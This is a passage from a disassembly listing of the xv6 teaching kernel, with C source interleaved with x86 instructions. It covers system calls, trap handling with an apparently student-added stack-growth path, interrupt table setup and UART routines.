8010526e: c3 ret
8010526f: 90 nop
80105270 <sys_wait>:
int
sys_wait(void)
{
80105270: 55 push %ebp
80105271: 89 e5 mov %esp,%ebp
return wait();
}
80105273: 5d pop %ebp
return wait();
80105274: e9 17 ea ff ff jmp 80103c90 <wait>
80105279: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
80105280 <sys_kill>:
int
sys_kill(void)
{
80105280: 55 push %ebp
80105281: 89 e5 mov %esp,%ebp
80105283: 83 ec 28 sub $0x28,%esp
int pid;
if(argint(0, &pid) < 0)
80105286: 8d 45 f4 lea -0xc(%ebp),%eax
80105289: 89 44 24 04 mov %eax,0x4(%esp)
8010528d: c7 04 24 00 00 00 00 movl $0x0,(%esp)
80105294: e8 77 f2 ff ff call 80104510 <argint>
80105299: 85 c0 test %eax,%eax
8010529b: 78 13 js 801052b0 <sys_kill+0x30>
return -1;
return kill(pid);
8010529d: 8b 45 f4 mov -0xc(%ebp),%eax
801052a0: 89 04 24 mov %eax,(%esp)
801052a3: e8 28 eb ff ff call 80103dd0 <kill>
}
801052a8: c9 leave
801052a9: c3 ret
801052aa: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
return -1;
801052b0: b8 ff ff ff ff mov $0xffffffff,%eax
}
801052b5: c9 leave
801052b6: c3 ret
801052b7: 89 f6 mov %esi,%esi
801052b9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
801052c0 <sys_getpid>:
int
sys_getpid(void)
{
801052c0: 55 push %ebp
801052c1: 89 e5 mov %esp,%ebp
801052c3: 83 ec 08 sub $0x8,%esp
return myproc()->pid;
801052c6: e8 b5 e3 ff ff call 80103680 <myproc>
801052cb: 8b 40 10 mov 0x10(%eax),%eax
}
801052ce: c9 leave
801052cf: c3 ret
801052d0 <sys_sbrk>:
int
sys_sbrk(void)
{
801052d0: 55 push %ebp
801052d1: 89 e5 mov %esp,%ebp
801052d3: 53 push %ebx
801052d4: 83 ec 24 sub $0x24,%esp
int addr;
int n;
if(argint(0, &n) < 0)
801052d7: 8d 45 f4 lea -0xc(%ebp),%eax
801052da: 89 44 24 04 mov %eax,0x4(%esp)
801052de: c7 04 24 00 00 00 00 movl $0x0,(%esp)
801052e5: e8 26 f2 ff ff call 80104510 <argint>
801052ea: 85 c0 test %eax,%eax
801052ec: 78 22 js 80105310 <sys_sbrk+0x40>
return -1;
addr = myproc()->sz;
801052ee: e8 8d e3 ff ff call 80103680 <myproc>
if(growproc(n) < 0)
801052f3: 8b 55 f4 mov -0xc(%ebp),%edx
addr = myproc()->sz;
801052f6: 8b 18 mov (%eax),%ebx
if(growproc(n) < 0)
801052f8: 89 14 24 mov %edx,(%esp)
801052fb: e8 c0 e4 ff ff call 801037c0 <growproc>
80105300: 85 c0 test %eax,%eax
80105302: 78 0c js 80105310 <sys_sbrk+0x40>
return -1;
return addr;
80105304: 89 d8 mov %ebx,%eax
}
80105306: 83 c4 24 add $0x24,%esp
80105309: 5b pop %ebx
8010530a: 5d pop %ebp
8010530b: c3 ret
8010530c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
return -1;
80105310: b8 ff ff ff ff mov $0xffffffff,%eax
80105315: eb ef jmp 80105306 <sys_sbrk+0x36>
80105317: 89 f6 mov %esi,%esi
80105319: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
80105320 <sys_sleep>:
int
sys_sleep(void)
{
80105320: 55 push %ebp
80105321: 89 e5 mov %esp,%ebp
80105323: 53 push %ebx
80105324: 83 ec 24 sub $0x24,%esp
int n;
uint ticks0;
if(argint(0, &n) < 0)
80105327: 8d 45 f4 lea -0xc(%ebp),%eax
8010532a: 89 44 24 04 mov %eax,0x4(%esp)
8010532e: c7 04 24 00 00 00 00 movl $0x0,(%esp)
80105335: e8 d6 f1 ff ff call 80104510 <argint>
8010533a: 85 c0 test %eax,%eax
8010533c: 78 7e js 801053bc <sys_sleep+0x9c>
return -1;
acquire(&tickslock);
8010533e: c7 04 24 60 4d 11 80 movl $0x80114d60,(%esp)
80105345: e8 d6 ed ff ff call 80104120 <acquire>
ticks0 = ticks;
while(ticks - ticks0 < n){
8010534a: 8b 55 f4 mov -0xc(%ebp),%edx
ticks0 = ticks;
8010534d: 8b 1d a0 55 11 80 mov 0x801155a0,%ebx
while(ticks - ticks0 < n){
80105353: 85 d2 test %edx,%edx
80105355: 75 29 jne 80105380 <sys_sleep+0x60>
80105357: eb 4f jmp 801053a8 <sys_sleep+0x88>
80105359: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
if(myproc()->killed){
release(&tickslock);
return -1;
}
sleep(&ticks, &tickslock);
80105360: c7 44 24 04 60 4d 11 movl $0x80114d60,0x4(%esp)
80105367: 80
80105368: c7 04 24 a0 55 11 80 movl $0x801155a0,(%esp)
8010536f: e8 6c e8 ff ff call 80103be0 <sleep>
while(ticks - ticks0 < n){
80105374: a1 a0 55 11 80 mov 0x801155a0,%eax
80105379: 29 d8 sub %ebx,%eax
8010537b: 3b 45 f4 cmp -0xc(%ebp),%eax
8010537e: 73 28 jae 801053a8 <sys_sleep+0x88>
if(myproc()->killed){
80105380: e8 fb e2 ff ff call 80103680 <myproc>
80105385: 8b 40 24 mov 0x24(%eax),%eax
80105388: 85 c0 test %eax,%eax
8010538a: 74 d4 je 80105360 <sys_sleep+0x40>
release(&tickslock);
8010538c: c7 04 24 60 4d 11 80 movl $0x80114d60,(%esp)
80105393: e8 78 ee ff ff call 80104210 <release>
return -1;
80105398: b8 ff ff ff ff mov $0xffffffff,%eax
}
release(&tickslock);
return 0;
}
8010539d: 83 c4 24 add $0x24,%esp
801053a0: 5b pop %ebx
801053a1: 5d pop %ebp
801053a2: c3 ret
801053a3: 90 nop
801053a4: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
release(&tickslock);
801053a8: c7 04 24 60 4d 11 80 movl $0x80114d60,(%esp)
801053af: e8 5c ee ff ff call 80104210 <release>
}
801053b4: 83 c4 24 add $0x24,%esp
return 0;
801053b7: 31 c0 xor %eax,%eax
}
801053b9: 5b pop %ebx
801053ba: 5d pop %ebp
801053bb: c3 ret
return -1;
801053bc: b8 ff ff ff ff mov $0xffffffff,%eax
801053c1: eb da jmp 8010539d <sys_sleep+0x7d>
801053c3: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
801053c9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
801053d0 <sys_uptime>:
// return how many clock tick interrupts have occurred
// since start.
int
sys_uptime(void)
{
801053d0: 55 push %ebp
801053d1: 89 e5 mov %esp,%ebp
801053d3: 53 push %ebx
801053d4: 83 ec 14 sub $0x14,%esp
uint xticks;
acquire(&tickslock);
801053d7: c7 04 24 60 4d 11 80 movl $0x80114d60,(%esp)
801053de: e8 3d ed ff ff call 80104120 <acquire>
xticks = ticks;
801053e3: 8b 1d a0 55 11 80 mov 0x801155a0,%ebx
release(&tickslock);
801053e9: c7 04 24 60 4d 11 80 movl $0x80114d60,(%esp)
801053f0: e8 1b ee ff ff call 80104210 <release>
return xticks;
}
801053f5: 83 c4 14 add $0x14,%esp
801053f8: 89 d8 mov %ebx,%eax
801053fa: 5b pop %ebx
801053fb: 5d pop %ebp
801053fc: c3 ret
801053fd <alltraps>:
# vectors.S sends all traps here.
.globl alltraps
alltraps:
# Build trap frame.
pushl %ds
801053fd: 1e push %ds
pushl %es
801053fe: 06 push %es
pushl %fs
801053ff: 0f a0 push %fs
pushl %gs
80105401: 0f a8 push %gs
pushal
80105403: 60 pusha
# Set up data segments.
movw $(SEG_KDATA<<3), %ax
80105404: 66 b8 10 00 mov $0x10,%ax
movw %ax, %ds
80105408: 8e d8 mov %eax,%ds
movw %ax, %es
8010540a: 8e c0 mov %eax,%es
# Call trap(tf), where tf=%esp
pushl %esp
8010540c: 54 push %esp
call trap
8010540d: e8 de 00 00 00 call 801054f0 <trap>
addl $4, %esp
80105412: 83 c4 04 add $0x4,%esp
80105415 <trapret>:
# Return falls through to trapret...
.globl trapret
trapret:
popal
80105415: 61 popa
popl %gs
80105416: 0f a9 pop %gs
popl %fs
80105418: 0f a1 pop %fs
popl %es
8010541a: 07 pop %es
popl %ds
8010541b: 1f pop %ds
addl $0x8, %esp # trapno and errcode
8010541c: 83 c4 08 add $0x8,%esp
iret
8010541f: cf iret
80105420 <tvinit>:
void
tvinit(void)
{
int i;
for(i = 0; i < 256; i++)
80105420: 31 c0 xor %eax,%eax
80105422: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
SETGATE(idt[i], 0, SEG_KCODE<<3, vectors[i], 0);
80105428: 8b 14 85 08 a0 10 80 mov -0x7fef5ff8(,%eax,4),%edx
8010542f: b9 08 00 00 00 mov $0x8,%ecx
80105434: 66 89 0c c5 a2 4d 11 mov %cx,-0x7feeb25e(,%eax,8)
8010543b: 80
8010543c: c6 04 c5 a4 4d 11 80 movb $0x0,-0x7feeb25c(,%eax,8)
80105443: 00
80105444: c6 04 c5 a5 4d 11 80 movb $0x8e,-0x7feeb25b(,%eax,8)
8010544b: 8e
8010544c: 66 89 14 c5 a0 4d 11 mov %dx,-0x7feeb260(,%eax,8)
80105453: 80
80105454: c1 ea 10 shr $0x10,%edx
80105457: 66 89 14 c5 a6 4d 11 mov %dx,-0x7feeb25a(,%eax,8)
8010545e: 80
for(i = 0; i < 256; i++)
8010545f: 83 c0 01 add $0x1,%eax
80105462: 3d 00 01 00 00 cmp $0x100,%eax
80105467: 75 bf jne 80105428 <tvinit+0x8>
{
80105469: 55 push %ebp
SETGATE(idt[T_SYSCALL], 1, SEG_KCODE<<3, vectors[T_SYSCALL], DPL_USER);
8010546a: ba 08 00 00 00 mov $0x8,%edx
{
8010546f: 89 e5 mov %esp,%ebp
80105471: 83 ec 18 sub $0x18,%esp
SETGATE(idt[T_SYSCALL], 1, SEG_KCODE<<3, vectors[T_SYSCALL], DPL_USER);
80105474: a1 08 a1 10 80 mov 0x8010a108,%eax
initlock(&tickslock, "time");
80105479: c7 44 24 04 a1 75 10 movl $0x801075a1,0x4(%esp)
80105480: 80
80105481: c7 04 24 60 4d 11 80 movl $0x80114d60,(%esp)
SETGATE(idt[T_SYSCALL], 1, SEG_KCODE<<3, vectors[T_SYSCALL], DPL_USER);
80105488: 66 89 15 a2 4f 11 80 mov %dx,0x80114fa2
8010548f: 66 a3 a0 4f 11 80 mov %ax,0x80114fa0
80105495: c1 e8 10 shr $0x10,%eax
80105498: c6 05 a4 4f 11 80 00 movb $0x0,0x80114fa4
8010549f: c6 05 a5 4f 11 80 ef movb $0xef,0x80114fa5
801054a6: 66 a3 a6 4f 11 80 mov %ax,0x80114fa6
initlock(&tickslock, "time");
801054ac: e8 7f eb ff ff call 80104030 <initlock>
}
801054b1: c9 leave
801054b2: c3 ret
801054b3: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
801054b9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
801054c0 <idtinit>:
void
idtinit(void)
{
801054c0: 55 push %ebp
pd[0] = size-1;
801054c1: b8 ff 07 00 00 mov $0x7ff,%eax
801054c6: 89 e5 mov %esp,%ebp
801054c8: 83 ec 10 sub $0x10,%esp
801054cb: 66 89 45 fa mov %ax,-0x6(%ebp)
pd[1] = (uint)p;
801054cf: b8 a0 4d 11 80 mov $0x80114da0,%eax
801054d4: 66 89 45 fc mov %ax,-0x4(%ebp)
pd[2] = (uint)p >> 16;
801054d8: c1 e8 10 shr $0x10,%eax
801054db: 66 89 45 fe mov %ax,-0x2(%ebp)
asm volatile("lidt (%0)" : : "r" (pd));
801054df: 8d 45 fa lea -0x6(%ebp),%eax
801054e2: 0f 01 18 lidtl (%eax)
lidt(idt, sizeof(idt));
}
801054e5: c9 leave
801054e6: c3 ret
801054e7: 89 f6 mov %esi,%esi
801054e9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
801054f0 <trap>:
//PAGEBREAK: 41
void
trap(struct trapframe *tf)
{
801054f0: 55 push %ebp
801054f1: 89 e5 mov %esp,%ebp
801054f3: 57 push %edi
801054f4: 56 push %esi
801054f5: 53 push %ebx
801054f6: 83 ec 3c sub $0x3c,%esp
801054f9: 8b 5d 08 mov 0x8(%ebp),%ebx
if(tf->trapno == T_SYSCALL){
801054fc: 8b 43 30 mov 0x30(%ebx),%eax
801054ff: 83 f8 40 cmp $0x40,%eax
80105502: 0f 84 28 02 00 00 je 80105730 <trap+0x240>
if(myproc()->killed)
exit();
return;
}
switch(tf->trapno){
80105508: 83 e8 0e sub $0xe,%eax
8010550b: 83 f8 31 cmp $0x31,%eax
8010550e: 77 08 ja 80105518 <trap+0x28>
80105510: ff 24 85 5c 76 10 80 jmp *-0x7fef89a4(,%eax,4)
80105517: 90 nop
}
break;
//PAGEBREAK: 13
default:
if(myproc() == 0 || (tf->cs&3) == 0){
80105518: e8 63 e1 ff ff call 80103680 <myproc>
8010551d: 85 c0 test %eax,%eax
8010551f: 90 nop
80105520: 0f 84 7a 02 00 00 je 801057a0 <trap+0x2b0>
80105526: f6 43 3c 03 testb $0x3,0x3c(%ebx)
8010552a: 0f 84 70 02 00 00 je 801057a0 <trap+0x2b0>
static inline uint
rcr2(void)
{
uint val;
asm volatile("movl %%cr2,%0" : "=r" (val));
80105530: 0f 20 d1 mov %cr2,%ecx
cprintf("unexpected trap %d from cpu %d eip %x (cr2=0x%x)\n",
tf->trapno, cpuid(), tf->eip, rcr2());
panic("trap");
}
// In user space, assume process misbehaved.
cprintf("pid %d %s: trap %d err %d on cpu %d "
80105533: 8b 53 38 mov 0x38(%ebx),%edx
80105536: 89 4d d8 mov %ecx,-0x28(%ebp)
80105539: 89 55 dc mov %edx,-0x24(%ebp)
8010553c: e8 1f e1 ff ff call 80103660 <cpuid>
80105541: 8b 73 30 mov 0x30(%ebx),%esi
80105544: 89 c7 mov %eax,%edi
80105546: 8b 43 34 mov 0x34(%ebx),%eax
80105549: 89 45 e4 mov %eax,-0x1c(%ebp)
"eip 0x%x addr 0x%x--kill proc\n",
myproc()->pid, myproc()->name, tf->trapno,
8010554c: e8 2f e1 ff ff call 80103680 <myproc>
80105551: 89 45 e0 mov %eax,-0x20(%ebp)
80105554: e8 27 e1 ff ff call 80103680 <myproc>
cprintf("pid %d %s: trap %d err %d on cpu %d "
80105559: 8b 4d d8 mov -0x28(%ebp),%ecx
8010555c: 89 74 24 0c mov %esi,0xc(%esp)
myproc()->pid, myproc()->name, tf->trapno,
80105560: 8b 75 e0 mov -0x20(%ebp),%esi
cprintf("pid %d %s: trap %d err %d on cpu %d "
80105563: 8b 55 dc mov -0x24(%ebp),%edx
80105566: 89 7c 24 14 mov %edi,0x14(%esp)
8010556a: 89 4c 24 1c mov %ecx,0x1c(%esp)
8010556e: 8b 4d e4 mov -0x1c(%ebp),%ecx
myproc()->pid, myproc()->name, tf->trapno,
80105571: 83 c6 6c add $0x6c,%esi
cprintf("pid %d %s: trap %d err %d on cpu %d "
80105574: 89 54 24 18 mov %edx,0x18(%esp)
myproc()->pid, myproc()->name, tf->trapno,
80105578: 89 74 24 08 mov %esi,0x8(%esp)
cprintf("pid %d %s: trap %d err %d on cpu %d "
8010557c: 89 4c 24 10 mov %ecx,0x10(%esp)
80105580: 8b 40 10 mov 0x10(%eax),%eax
80105583: c7 04 24 18 76 10 80 movl $0x80107618,(%esp)
8010558a: 89 44 24 04 mov %eax,0x4(%esp)
8010558e: e8 bd b0 ff ff call 80100650 <cprintf>
tf->err, cpuid(), tf->eip, rcr2());
myproc()->killed = 1;
80105593: e8 e8 e0 ff ff call 80103680 <myproc>
80105598: c7 40 24 01 00 00 00 movl $0x1,0x24(%eax)
8010559f: 90 nop
}
// Force process exit if it has been killed and is in user space.
// (If it is still executing in the kernel, let it keep running
// until it gets to the regular system call return.)
if(myproc() && myproc()->killed && (tf->cs&3) == DPL_USER)
801055a0: e8 db e0 ff ff call 80103680 <myproc>
801055a5: 85 c0 test %eax,%eax
801055a7: 74 0c je 801055b5 <trap+0xc5>
801055a9: e8 d2 e0 ff ff call 80103680 <myproc>
801055ae: 8b 50 24 mov 0x24(%eax),%edx
801055b1: 85 d2 test %edx,%edx
801055b3: 75 4b jne 80105600 <trap+0x110>
exit();
// Force process to give up CPU on clock tick.
// If interrupts were on while locks held, would need to check nlock.
if(myproc() && myproc()->state == RUNNING &&
801055b5: e8 c6 e0 ff ff call 80103680 <myproc>
801055ba: 85 c0 test %eax,%eax
801055bc: 74 0d je 801055cb <trap+0xdb>
801055be: 66 90 xchg %ax,%ax
801055c0: e8 bb e0 ff ff call 80103680 <myproc>
801055c5: 83 78 0c 04 cmpl $0x4,0xc(%eax)
801055c9: 74 4d je 80105618 <trap+0x128>
tf->trapno == T_IRQ0+IRQ_TIMER)
yield();
// Check if the process has been killed since we yielded
if(myproc() && myproc()->killed && (tf->cs&3) == DPL_USER)
801055cb: e8 b0 e0 ff ff call 80103680 <myproc>
801055d0: 85 c0 test %eax,%eax
801055d2: 74 1d je 801055f1 <trap+0x101>
801055d4: e8 a7 e0 ff ff call 80103680 <myproc>
801055d9: 8b 40 24 mov 0x24(%eax),%eax
801055dc: 85 c0 test %eax,%eax
801055de: 74 11 je 801055f1 <trap+0x101>
801055e0: 0f b7 43 3c movzwl 0x3c(%ebx),%eax
801055e4: 83 e0 03 and $0x3,%eax
801055e7: 66 83 f8 03 cmp $0x3,%ax
801055eb: 0f 84 68 01 00 00 je 80105759 <trap+0x269>
exit();
}
801055f1: 83 c4 3c add $0x3c,%esp
801055f4: 5b pop %ebx
801055f5: 5e pop %esi
801055f6: 5f pop %edi
801055f7: 5d pop %ebp
801055f8: c3 ret
801055f9: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
if(myproc() && myproc()->killed && (tf->cs&3) == DPL_USER)
80105600: 0f b7 43 3c movzwl 0x3c(%ebx),%eax
80105604: 83 e0 03 and $0x3,%eax
80105607: 66 83 f8 03 cmp $0x3,%ax
8010560b: 75 a8 jne 801055b5 <trap+0xc5>
exit();
8010560d: e8 6e e4 ff ff call 80103a80 <exit>
80105612: eb a1 jmp 801055b5 <trap+0xc5>
80105614: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
if(myproc() && myproc()->state == RUNNING &&
80105618: 83 7b 30 20 cmpl $0x20,0x30(%ebx)
8010561c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
80105620: 75 a9 jne 801055cb <trap+0xdb>
yield();
80105622: e8 79 e5 ff ff call 80103ba0 <yield>
80105627: eb a2 jmp 801055cb <trap+0xdb>
80105629: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
while(rcr2() < (KERNBASE - 1 - (myproc()->sTop))){
80105630: bf ff ff ff 7f mov $0x7fffffff,%edi
80105635: 89 5d e4 mov %ebx,-0x1c(%ebp)
80105638: eb 50 jmp 8010568a <trap+0x19a>
8010563a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
cprintf("Stack expanding.\n");
80105640: c7 04 24 a6 75 10 80 movl $0x801075a6,(%esp)
allocuvm(myproc()->pgdir, PGROUNDDOWN(KERNBASE - 1 - (myproc()->sTop)), KERNBASE - 1 - (myproc()->sTop));
80105647: 89 fb mov %edi,%ebx
80105649: 89 fe mov %edi,%esi
cprintf("Stack expanding.\n");
8010564b: e8 00 b0 ff ff call 80100650 <cprintf>
myproc()->sTop += PGSIZE;
80105650: e8 2b e0 ff ff call 80103680 <myproc>
80105655: 81 40 7c 00 10 00 00 addl $0x1000,0x7c(%eax)
allocuvm(myproc()->pgdir, PGROUNDDOWN(KERNBASE - 1 - (myproc()->sTop)), KERNBASE - 1 - (myproc()->sTop));
8010565c: e8 1f e0 ff ff call 80103680 <myproc>
80105661: 2b 58 7c sub 0x7c(%eax),%ebx
80105664: e8 17 e0 ff ff call 80103680 <myproc>
80105669: 2b 70 7c sub 0x7c(%eax),%esi
8010566c: e8 0f e0 ff ff call 80103680 <myproc>
80105671: 89 5c 24 08 mov %ebx,0x8(%esp)
80105675: 81 e6 00 f0 ff ff and $0xfffff000,%esi
8010567b: 89 74 24 04 mov %esi,0x4(%esp)
8010567f: 8b 40 04 mov 0x4(%eax),%eax
80105682: 89 04 24 mov %eax,(%esp)
80105685: e8 f6 11 00 00 call 80106880 <allocuvm>
8010568a: 0f 20 d6 mov %cr2,%esi
while(rcr2() < (KERNBASE - 1 - (myproc()->sTop))){
8010568d: e8 ee df ff ff call 80103680 <myproc>
80105692: 89 fa mov %edi,%edx
80105694: 2b 50 7c sub 0x7c(%eax),%edx
80105697: 39 f2 cmp %esi,%edx
80105699: 77 a5 ja 80105640 <trap+0x150>
8010569b: 8b 5d e4 mov -0x1c(%ebp),%ebx
8010569e: e9 fd fe ff ff jmp 801055a0 <trap+0xb0>
801056a3: 90 nop
801056a4: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
if(cpuid() == 0){
801056a8: e8 b3 df ff ff call 80103660 <cpuid>
801056ad: 85 c0 test %eax,%eax
801056af: 90 nop
801056b0: 0f 84 ba 00 00 00 je 80105770 <trap+0x280>
lapiceoi();
801056b6: e8 a5 d0 ff ff call 80102760 <lapiceoi>
801056bb: 90 nop
801056bc: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
break;
801056c0: e9 db fe ff ff jmp 801055a0 <trap+0xb0>
801056c5: 8d 76 00 lea 0x0(%esi),%esi
801056c8: 90 nop
801056c9: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
kbdintr();
801056d0: e8 db ce ff ff call 801025b0 <kbdintr>
lapiceoi();
801056d5: e8 86 d0 ff ff call 80102760 <lapiceoi>
break;
801056da: e9 c1 fe ff ff jmp 801055a0 <trap+0xb0>
801056df: 90 nop
uartintr();
801056e0: e8 1b 02 00 00 call 80105900 <uartintr>
lapiceoi();
801056e5: e8 76 d0 ff ff call 80102760 <lapiceoi>
break;
801056ea: e9 b1 fe ff ff jmp 801055a0 <trap+0xb0>
801056ef: 90 nop
cprintf("cpu%d: spurious interrupt at %x:%x\n",
801056f0: 8b 7b 38 mov 0x38(%ebx),%edi
801056f3: 0f b7 73 3c movzwl 0x3c(%ebx),%esi
801056f7: e8 64 df ff ff call 80103660 <cpuid>
801056fc: c7 04 24 c0 75 10 80 movl $0x801075c0,(%esp)
80105703: 89 7c 24 0c mov %edi,0xc(%esp)
80105707: 89 74 24 08 mov %esi,0x8(%esp)
8010570b: 89 44 24 04 mov %eax,0x4(%esp)
8010570f: e8 3c af ff ff call 80100650 <cprintf>
80105714: eb a0 jmp 801056b6 <trap+0x1c6>
80105716: 66 90 xchg %ax,%ax
ideintr();
80105718: e8 43 c9 ff ff call 80102060 <ideintr>
8010571d: 8d 76 00 lea 0x0(%esi),%esi
lapiceoi();
80105720: e8 3b d0 ff ff call 80102760 <lapiceoi>
break;
80105725: e9 76 fe ff ff jmp 801055a0 <trap+0xb0>
8010572a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
if(myproc()->killed)
80105730: e8 4b df ff ff call 80103680 <myproc>
80105735: 8b 70 24 mov 0x24(%eax),%esi
80105738: 85 f6 test %esi,%esi
8010573a: 75 2c jne 80105768 <trap+0x278>
myproc()->tf = tf;
8010573c: e8 3f df ff ff call 80103680 <myproc>
80105741: 89 58 18 mov %ebx,0x18(%eax)
syscall();
80105744: e8 b7 ee ff ff call 80104600 <syscall>
if(myproc()->killed)
80105749: e8 32 df ff ff call 80103680 <myproc>
8010574e: 8b 48 24 mov 0x24(%eax),%ecx
80105751: 85 c9 test %ecx,%ecx
80105753: 0f 84 98 fe ff ff je 801055f1 <trap+0x101>
}
80105759: 83 c4 3c add $0x3c,%esp
8010575c: 5b pop %ebx
8010575d: 5e pop %esi
8010575e: 5f pop %edi
8010575f: 5d pop %ebp
exit();
80105760: e9 1b e3 ff ff jmp 80103a80 <exit>
80105765: 8d 76 00 lea 0x0(%esi),%esi
exit();
80105768: e8 13 e3 ff ff call 80103a80 <exit>
8010576d: eb cd jmp 8010573c <trap+0x24c>
8010576f: 90 nop
acquire(&tickslock);
80105770: c7 04 24 60 4d 11 80 movl $0x80114d60,(%esp)
80105777: e8 a4 e9 ff ff call 80104120 <acquire>
wakeup(&ticks);
8010577c: c7 04 24 a0 55 11 80 movl $0x801155a0,(%esp)
ticks++;
80105783: 83 05 a0 55 11 80 01 addl $0x1,0x801155a0
wakeup(&ticks);
8010578a: e8 e1 e5 ff ff call 80103d70 <wakeup>
release(&tickslock);
8010578f: c7 04 24 60 4d 11 80 movl $0x80114d60,(%esp)
80105796: e8 75 ea ff ff call 80104210 <release>
8010579b: e9 16 ff ff ff jmp 801056b6 <trap+0x1c6>
801057a0: 0f 20 d7 mov %cr2,%edi
cprintf("unexpected trap %d from cpu %d eip %x (cr2=0x%x)\n",
801057a3: 8b 73 38 mov 0x38(%ebx),%esi
801057a6: e8 b5 de ff ff call 80103660 <cpuid>
801057ab: 89 7c 24 10 mov %edi,0x10(%esp)
801057af: 89 74 24 0c mov %esi,0xc(%esp)
801057b3: 89 44 24 08 mov %eax,0x8(%esp)
801057b7: 8b 43 30 mov 0x30(%ebx),%eax
801057ba: c7 04 24 e4 75 10 80 movl $0x801075e4,(%esp)
801057c1: 89 44 24 04 mov %eax,0x4(%esp)
801057c5: e8 86 ae ff ff call 80100650 <cprintf>
panic("trap");
801057ca: c7 04 24 b8 75 10 80 movl $0x801075b8,(%esp)
801057d1: e8 8a ab ff ff call 80100360 <panic>
801057d6: 66 90 xchg %ax,%ax
801057d8: 66 90 xchg %ax,%ax
801057da: 66 90 xchg %ax,%ax
801057dc: 66 90 xchg %ax,%ax
801057de: 66 90 xchg %ax,%ax
801057e0 <uartgetc>:
}
static int
uartgetc(void)
{
if(!uart)
801057e0: a1 bc a5 10 80 mov 0x8010a5bc,%eax
{
801057e5: 55 push %ebp
801057e6: 89 e5 mov %esp,%ebp
if(!uart)
801057e8: 85 c0 test %eax,%eax
801057ea: 74 14 je 80105800 <uartgetc+0x20>
asm volatile("in %1,%0" : "=a" (data) : "d" (port));
801057ec: ba fd 03 00 00 mov $0x3fd,%edx
801057f1: ec in (%dx),%al
return -1;
if(!(inb(COM1+5) & 0x01))
801057f2: a8 01 test $0x1,%al
801057f4: 74 0a je 80105800 <uartgetc+0x20>
801057f6: b2 f8 mov $0xf8,%dl
801057f8: ec in (%dx),%al
return -1;
return inb(COM1+0);
801057f9: 0f b6 c0 movzbl %al,%eax
}
801057fc: 5d pop %ebp
801057fd: c3 ret
801057fe: 66 90 xchg %ax,%ax
return -1;
80105800: b8 ff ff ff ff mov $0xffffffff,%eax
}
80105805: 5d pop %ebp
80105806: c3 ret
80105807: 89 f6 mov %esi,%esi
80105809: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
80105810 <uartputc>:
if(!uart)
80105810: a1 bc a5 10 80 mov 0x8010a5bc,%eax
80105815: 85 c0 test %eax,%eax
80105817: 74 3f je 80105858 <uartputc+0x48>
{
80105819: 55 push %ebp
8010581a: 89 e5 mov %esp,%ebp
8010581c: 56 push %esi
8010581d: be fd 03 00 00 mov $0x3fd,%esi
80105822: 53 push %ebx
if(!uart)
80105823: bb 80 00 00 00 mov $0x80,%ebx
{
80105828: 83 ec 10 sub $0x10,%esp
8010582b: eb 14 jmp 80105841 <uartputc+0x31>
8010582d: 8d 76 00 lea 0x0(%esi),%esi
microdelay(10);
80105830: c7 04 24 0a 00 00 00 movl $0xa,(%esp)
80105837: e8 44 cf ff ff call 80102780 <microdelay>
for(i = 0; i < 128 && !(inb(COM1+5) & 0x20); i++)
8010583c: 83 eb 01 sub $0x1,%ebx
8010583f: 74 07 je 80105848 <uartputc+0x38>
80105841: 89 f2 mov %esi,%edx
80105843: ec in (%dx),%al
80105844: a8 20 test $0x20,%al
80105846: 74 e8 je 80105830 <uartputc+0x20>
outb(COM1+0, c);
80105848: 0f b6 45 08 movzbl 0x8(%ebp),%eax
asm volatile("out %0,%1" : : "a" (data), "d" (port));
8010584c: ba f8 03 00 00 mov $0x3f8,%edx
80105851: ee out %al,(%dx)
}
80105852: 83 c4 10 add $0x10,%esp
80105855: 5b pop %ebx
80105856: 5e pop %esi
80105857: 5d pop %ebp
80105858: f3 c3 repz ret
8010585a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
80105860 <uartinit>:
{
80105860: 55 push %ebp
80105861: 31 c9 xor %ecx,%ecx
80105863: 89 e5 mov %esp,%ebp
80105865: 89 c8 mov %ecx,%eax
80105867: 57 push %edi
80105868: bf fa 03 00 00 mov $0x3fa,%edi
8010586d: 56 push %esi
8010586e: 89 fa mov %edi,%edx
80105870: 53 push %ebx
80105871: 83 ec 1c sub $0x1c,%esp
80105874: ee out %al,(%dx)
80105875: be fb 03 00 00 mov $0x3fb,%esi
8010587a: b8 80 ff ff ff mov $0xffffff80,%eax
8010587f: 89 f2 mov %esi,%edx
80105881: ee out %al,(%dx)
80105882: b8 0c 00 00 00 mov $0xc,%eax
80105887: b2 f8 mov $0xf8,%dl
80105889: ee out %al,(%dx)
8010588a: bb f9 03 00 00 mov $0x3f9,%ebx
8010588f: 89 c8 mov %ecx,%eax
80105891: 89 da mov %ebx,%edx
80105893: ee out %al,(%dx)
80105894: b8 03 00 00 00 mov $0x3,%eax
80105899: 89 f2 mov %esi,%edx
8010589b: ee out %al,(%dx)
8010589c: b2 fc mov $0xfc,%dl
8010589e: 89 c8 mov %ecx,%eax
801058a0: ee out %al,(%dx)
801058a1: b8 01 00 00 00 mov $0x1,%eax
801058a6: 89 da mov %ebx,%edx
801058a8: ee out %al,(%dx)
asm volatile("in %1,%0" : "=a" (data) : "d" (port));
801058a9: b2 fd mov $0xfd,%dl
